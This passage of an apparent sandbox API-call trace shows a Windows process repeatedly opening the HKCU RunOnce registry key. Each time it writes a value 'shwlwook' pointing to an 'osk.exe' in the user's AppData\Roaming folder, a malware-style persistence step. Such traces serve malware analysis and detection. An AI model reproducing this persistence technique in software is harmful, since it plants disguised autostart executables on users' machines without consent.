Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.310] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.324] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.324] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.324] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.325] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.325] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.325] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.325] RegCloseKey (hKey=0x14c) returned 0x0 [0263.325] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.326] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.340] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.340] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.341] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.341] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.341] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.342] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.342] RegCloseKey (hKey=0x14c) returned 0x0 [0263.342] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.342] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.355] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.355] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.356] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.356] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.356] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.357] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.357] RegCloseKey (hKey=0x14c) returned 0x0 [0263.357] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.357] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.371] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.371] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.371] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.372] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.372] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.372] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.372] RegCloseKey (hKey=0x14c) returned 0x0 [0263.373] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.373] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.386] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.386] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.387] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.387] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.387] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.388] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.388] RegCloseKey (hKey=0x14c) returned 0x0 [0263.388] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.388] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.403] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.403] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.403] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.404] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.404] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.404] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.404] RegCloseKey (hKey=0x14c) returned 0x0 [0263.404] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.405] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.418] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.418] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.418] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.419] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.419] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.419] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.419] RegCloseKey (hKey=0x14c) returned 0x0 [0263.419] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.420] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.433] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.433] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.434] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.434] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.434] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.434] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.435] RegCloseKey (hKey=0x14c) returned 0x0 [0263.435] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.435] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.449] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.449] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.449] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.450] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.450] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.450] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.450] RegCloseKey (hKey=0x14c) returned 0x0 [0263.451] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.451] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.464] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.464] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.465] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.465] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.465] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.466] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.466] RegCloseKey (hKey=0x14c) returned 0x0 [0263.466] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.466] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.480] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.480] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.481] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.481] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.481] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.481] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.481] RegCloseKey (hKey=0x14c) returned 0x0 [0263.482] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.482] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.496] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.496] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.496] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.497] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.497] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.497] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.497] RegCloseKey (hKey=0x14c) returned 0x0 [0263.497] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.498] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.511] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.511] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.512] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.512] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.513] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.513] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.513] RegCloseKey (hKey=0x14c) returned 0x0 [0263.513] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.513] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.527] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.527] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.528] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.528] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.528] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.528] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.529] RegCloseKey (hKey=0x14c) returned 0x0 [0263.529] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.529] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.544] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.544] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.545] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.545] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.545] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.545] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.546] RegCloseKey (hKey=0x14c) returned 0x0 [0263.546] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.546] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.560] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.560] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.560] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.561] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.561] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.561] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.561] RegCloseKey (hKey=0x14c) returned 0x0 [0263.561] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.562] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.576] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.576] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.577] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.577] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.578] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.578] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.578] RegCloseKey (hKey=0x14c) returned 0x0 [0263.578] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.579] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.605] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.605] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.606] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.606] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.606] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.606] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.607] RegCloseKey (hKey=0x14c) returned 0x0 [0263.607] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.608] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.621] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.621] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.621] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.622] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.622] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.622] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.622] RegCloseKey (hKey=0x14c) returned 0x0 [0263.623] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.623] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.644] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.644] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.644] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.645] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.645] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.645] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.645] RegCloseKey (hKey=0x14c) returned 0x0 [0263.645] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.646] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.668] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.668] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.668] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.669] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.669] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0263.669] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0263.669] RegCloseKey (hKey=0x14c) returned 0x0 [0263.669] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0263.670] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0263.683] TranslateMessage (lpMsg=0x95f69c) returned 0 [0263.683] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0263.684] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0263.684] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0263.684] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, 